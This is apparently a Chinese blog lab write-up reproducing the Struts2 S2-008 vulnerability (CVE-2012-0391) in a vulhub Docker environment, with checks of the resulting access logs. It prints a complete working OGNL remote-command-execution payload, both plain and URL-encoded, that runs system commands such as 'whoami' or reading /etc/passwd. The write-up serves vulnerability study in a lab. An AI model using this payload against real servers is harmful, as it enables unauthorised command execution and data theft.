CVE-2012-0391 S2-008復現
0X00-引言
蝴蝶死在路上,雲邊藏著念想。有些人刻苦銘心,沒幾年會遺忘。有些人不論生死,都陪在身旁。---張嘉佳《劉十三》
劉,十三。留,失散?
程霜,成雙。
兩代人終歸失散,一個人心念成雙。---張嘉佳《雲邊有個小賣部》
0X01-環境搭建
靶機:CentOS Linux 7
攻擊機:windows server 2016 && Kail
環境:vulhub
專案地址:https://github.com/vulhub/vulhub
搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)
0X02-漏洞描述
S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可造成 OGNL 表示式執行,但是由於大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字元限制,一些關鍵字元無法使用使得這個點顯得比較雞肋。另一個比較雞肋的點就是在 struts2 應用開啟 devMode 模式後會有多個除錯介面能夠直接檢視物件資訊或直接執行命令,正如 kxlzx 所提這種情況在生產環境中幾乎不可能存在,因此就變得很雞肋的,但我認為也不是絕對的,萬一被黑了專門丟了一個開啟了 debug 模式的應用到伺服器上作為後門也是有可能的。
漏洞成因:
主要利用對傳入引數沒有嚴格限制,導致多個地方可以執行惡意程式碼。
第一種情況其實就是 S2-007,在異常處理時的OGNL 執行第二種的cookie的方式,雖然在struts2沒有對惡意程式碼進行限制,但是java的webserver(Tomcat),對cookie 的名稱有較多限制,在傳入struts2之前就被處理,從而較為雞肋第三種需要開啟devModedebug 模式。
例如在 devMode 模式下直接新增引數 ?debug=command&expression=
會直接執行後面的 OGNL 表示式.
影響版本:Struts 2.1.0 - Struts 2.3.1
0X03-漏洞復現
01-任意命令執行
如果頁面不重新整理,清除歷史記錄,whoami為變數,可更改,例:cat /etc/passwd
payload:
#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()
url編碼:
%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%77%68%6f%61%6d%69%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29
0X04-工具檢測
工具地址:https://github.com/Liqunkit/LiqunKit_
0X05-檢視日誌
docker ps #檢視容器ID
docker exec -it ID /bin/bash #進入
cd logs #進入日誌目錄
cat localhost_access_log.2021-12-02.txt #檢視日誌
exit #退出容器
可以看到payload
想到一個騷操作,用工具檢視日誌,由於命令執行時的位置在日誌資料夾的上一級
假裝不知道日誌資料夾中的內容
嘗試命令cd logs ; ls
檢視日誌資料夾內容
失敗
莫非命令不對cd logs && ls
失敗
換個白盒姿勢,從容器內找到日誌檔案的路徑
cat ./logs/localhost_access_log.2021-12-02.txt
shell檢視可以
工具檢視也可以:
換了個工具也不可以
工具好像不支援複合命令,知道絕對路徑可以檢視
0X06-參考
linux如何同時執行兩個命令,如何同時執行兩個或者多個終端命令